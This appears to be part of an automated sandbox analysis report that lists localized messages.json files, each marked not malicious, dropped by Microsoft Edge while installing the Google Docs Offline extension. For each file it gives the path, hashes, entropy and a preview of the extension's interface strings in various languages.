SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
